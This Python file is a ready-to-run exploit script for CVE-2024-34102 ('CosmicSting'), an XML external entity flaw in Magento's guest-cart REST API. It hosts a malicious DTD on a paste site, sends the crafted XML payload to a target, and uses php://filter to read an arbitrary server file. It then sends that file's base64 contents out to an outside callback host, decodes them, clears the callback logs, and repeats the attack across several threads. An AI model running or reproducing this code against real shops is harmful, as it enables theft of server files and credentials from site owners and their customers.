cosmic_sting.py

import re
import json
import uuid
import base64
import requests
import click
from concurrent.futures import ThreadPoolExecutor, as_completed
from fake_useragent import UserAgent

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

class CosmicSting:

    def __init__(self, url: str, file: str):
        self.url = url
        self.file = file
        self.dtd_url = None
        self.instance_id = None

    def print_message(self, message: str, header: str) -> None:
        """
        Print a formatted message with a colored header.
        """
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(f"{message}", bold=True, fg="white")
        click.echo(formatted_message)

    def create_callback_url(self) -> None:
        """
        Callback Host creating to host a DTD file.
        """
        self.instance_id = self.obtain_instance()

        dtd_data = f"""<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource={self.file}">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://{self.instance_id}.c5.rs/?exploited=%data;'>">
"""
        url = "https://fars.ee/"
        random_filename = str(uuid.uuid4())

        response = requests.post(
            url, files={"c": (random_filename, dtd_data)}, verify=False
        )
        match = re.search(rf"{url}(?P<uuid>[a-zA-Z0-9\-]+)", response.text)
        if not match:
            raise Exception("Unsuccessfull to extract the UUID from regex.")
        uuid_value = match.group("uuid")

        self.dtd_url = f"{url}{uuid_value}.dtd"
        self.print_message(f"Malicious DTD file Hosted at {self.dtd_url}", "+")
        self.print_message(f"Internal File trying to Access: {self.file}", "+")

    def obtain_instance(self) -> str:
        """
        Obtaining an instance ID from the SSRF API.
        """
        base_url = "https://api.cvssadvisor.com/ssrf/api/instance"
        headers = {"User-Agent": UserAgent().random}

        response = requests.post(base_url, headers=headers, verify=False)
        responsed = response.text.strip('"')
        return responsed

    def check_instance_log(self, instance_id: str) -> bool:
        """
        Check the instance log for exploitation success.
        """
        base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}"
        headers = {"User-Agent": UserAgent().random}

        response = requests.get(base_url, headers=headers, verify=False)
        try:
            data = response.json()
        except json.JSONDecodeError:
            self.print_message("Failed to decode JSON response", "!")
            return False
        
        raw_data = json.dumps(data)

        if "/?exploited=" in raw_data:
            exploited_data = re.search(r"exploited=(.*) HTTP", raw_data).group(1)
            decoded_data = base64.b64decode(exploited_data).decode("utf-8")
            self.print_message(f"Output: \n\n{decoded_data}", "+")
            return True
        else:
            return False

    def clear_instance(self, instance_id: str) -> None:
        """
        Clear the instance logs on the SSRF API.
        """
        base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}/clear"
        headers = {"User-Agent": UserAgent().random}

        requests.delete(base_url, headers=headers, verify=False)

    def remove_instance(self, instance_id: str) -> None:
        """
        Remove the instance on the SSRF API.
        """
        base_url = f"https://api.cvssadvisor.com/ssrf/api/instance/{instance_id}"
        headers = {"User-Agent": UserAgent().random}

        requests.delete(base_url, headers=headers, verify=False)

    def send_request(self, url: str) -> None:
        """
        Sending a malicious request to the target URL.
        """
        base_url = f"{url}/rest/V1/guest-carts/1/estimate-shipping-methods"
        header = {"User-Agent": UserAgent().random}

        body = {
            "address": {
                "totalsCollector": {
                    "collectorList": {
                        "totalCollector": {
                            "sourceData": {
                                "data": f'<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "{self.dtd_url}"> %sp; %param1; ]> <r>&exfil;</r>',
                                "options": 12345678,
                            }
                        }
                    }
                }
            }
        }

        requests.post(base_url, json=body, headers=header, verify=False)

    def execute_exploit(self, url: str) -> None:
        """
        Executing the exploitation process here.
        """
        self.send_request(url)

        is_exploited = self.check_instance_log(self.instance_id)

        if is_exploited:
            self.print_message(f"Successfully Exploited Host: {url}", "+")
        else:
            self.print_message(f"Exploitation unsuccessful: {url}", "-")

        self.clear_instance(self.instance_id)

    def run(self) -> None:
        """
        Run the exploitation process.
        """
        self.create_callback_url()
        self.execute_exploit(self.url)
        self.remove_instance(self.instance_id)


@click.command(
    help="""
CosmicSting (CVE-2024-34102): XML External Entity vulnerability that could result in arbitrary code execution.
"""
)
@click.option(
    "-u",
    "--url",
    required=True,
    help="Specify a domain for this CVE detection",
)
@click.option(
    "-f",
    "--file",
    default="/etc/issue",
    help="Specify the file to read from the server",
)
@click.option(
    "-t",
    "--threads",
    default=5,
    help="Number of concurrent threads to use for exploitation (default: 5)",
)
def main(url: str, file: str, threads: int) -> None:
    click.echo("\nProfessor the Hunter's CosmicSting Exploiter is running...\n")
    cve_exploit = CosmicSting(url, file)
    cve_exploit.run()

    # Multi-threaded execution for faster exploitation
    urls = [url] * threads
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = [executor.submit(cve_exploit.execute_exploit, u) for u in urls]
        for future in as_completed(futures):
            try:
                future.result()
            except Exception as e:
                cve_exploit.print_message(f"Error during exploitation: {e}", "-")


if __name__ == "__main__":
    main()